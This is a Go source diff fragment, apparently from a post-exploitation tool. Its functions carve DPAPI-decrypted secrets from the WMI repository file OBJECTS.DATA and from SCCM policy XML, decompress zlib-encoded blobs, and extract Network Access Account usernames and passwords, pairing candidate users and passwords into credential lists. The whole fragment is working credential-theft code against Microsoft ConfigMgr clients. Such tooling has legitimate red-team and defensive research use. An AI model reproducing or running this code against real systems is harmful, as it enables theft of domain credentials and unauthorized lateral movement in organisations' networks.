37+func DecompressZlib(hexPayload string) ([]byte, error) {
38+ data, err := hex.DecodeString(strings.TrimSpace(hexPayload))
39+ if err != nil {
40+ return nil, err
41+ }
42+ r, err := zlib.NewReader(bytes.NewReader(data))
43+ if err != nil {
44+ return nil, err
45+ }
46+ defer r.Close()
47+ return io.ReadAll(r)
48+}
49+
50+func ParseDecryptedPayload(data []byte) (string, bool) {
51+ if len(data) == 0 || (len(data) <= 2 && bytes.Equal(data, []byte{0, 0})) {
52+ return "", true
53+ }
54+
55+ text := dpapi.DecodeUTF16LE(data)
56+ if text == "" {
57+ text = strings.TrimRight(string(data), "\x00")
58+ }
59+
60+ return text, false
61+}
62+
63+func ExtractCredentialsFromSecrets(secrets []*CarvedSecret) []NAACredential {
64+ credentials := []NAACredential{}
65+ seen := make(map[string]bool)
66+
67+ var potentialUsers []string
68+ var potentialPasswords []string
69+
70+ for _, s := range secrets {
71+ if s.IsEmpty || s.DecryptedText == "" {
72+ continue
73+ }
74+
75+ if strings.Contains(s.DecryptedText, "CCM_NetworkAccessAccount") {
76+ extractFromXML(s.DecryptedText, &credentials, seen)
77+ }
78+
79+ if strings.Contains(s.DecryptedText, `Compression="zlib"`) {
80+ matches := xmlHexRe.FindAllStringSubmatch(s.DecryptedText, -1)
81+ for _, m := range matches {
82+ decomp, err := DecompressZlib(m[1])
83+ if err == nil {
84+ decompText := dpapi.DecodeUTF16LE(decomp)
85+ if decompText == "" {
86+ decompText = string(decomp)
87+ }
88+ extractFromXML(decompText, &credentials, seen)
89+ }
90+ }
91+ }
92+
93+ text := strings.TrimSpace(s.DecryptedText)
94+ if !strings.HasPrefix(text, "<") && !strings.Contains(text, "\n") {
95+ if strings.Contains(text, "\\") || strings.Contains(text, "@") {
96+ potentialUsers = append(potentialUsers, text)
97+ } else if len(text) > 0 && len(text) < 128 {
98+ potentialPasswords = append(potentialPasswords, text)
99+ }
100+ }
101+ }
102+
103+ for _, u := range potentialUsers {
104+ for _, p := range potentialPasswords {
105+ key := fmt.Sprintf("%s:%s", u, p)
106+ if !seen[key] {
107+ seen[key] = true
108+ credentials = append(credentials, NAACredential{
109+ Username: u,
110+ Password: p,
111+ Source: "OBJECTS.DATA",
112+ })
113+ }
114+ }
115+ }
116+
117+ return credentials
118+}
119+
120+func isLikelyHexCiphertext(s string) bool {
121+ if len(s) < 32 {
122+ return false
123+ }
124+ for _, c := range s {
125+ if !((c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F')) {
126+ return false
127+ }
128+ }
129+ return true
130+}
131+
132+func extractFromXML(xmlContent string, creds *[]NAACredential, seen map[string]bool) {
133+ userRe := regexp.MustCompile(`name="NetworkAccessUsername"[^>]*>[\s\r\n]*<value>[\s\r\n]*<!\[CDATA\[([^\]]+)\]\]>`)
134+ passRe := regexp.MustCompile(`name="NetworkAccessPassword"[^>]*>[\s\r\n]*<value>[\s\r\n]*<!\[CDATA\[([^\]]+)\]\]>`)
135+
136+ userMatches := userRe.FindAllStringSubmatch(xmlContent, -1)
137+ passMatches := passRe.FindAllStringSubmatch(xmlContent, -1)
138+
139+ minLen := len(userMatches)
140+ if len(passMatches) < minLen {
141+ minLen = len(passMatches)
142+ }
143+
144+ for i := 0; i < minLen; i++ {
145+ u := strings.TrimSpace(userMatches[i][1])
146+ p := strings.TrimSpace(passMatches[i][1])
147+
148+ if isLikelyHexCiphertext(u) || isLikelyHexCiphertext(p) {
149+ continue
150+ }
151+
152+ key := fmt.Sprintf("%s:%s", u, p)
153+ if !seen[key] && (u != "" || p != "") {
154+ seen[key] = true
155+ *creds = append(*creds, NAACredential{
156+ Username: u,
157+ Password: p,
158+ Source: "Policy XML",
159+ })
160+ }
161+ }
162+}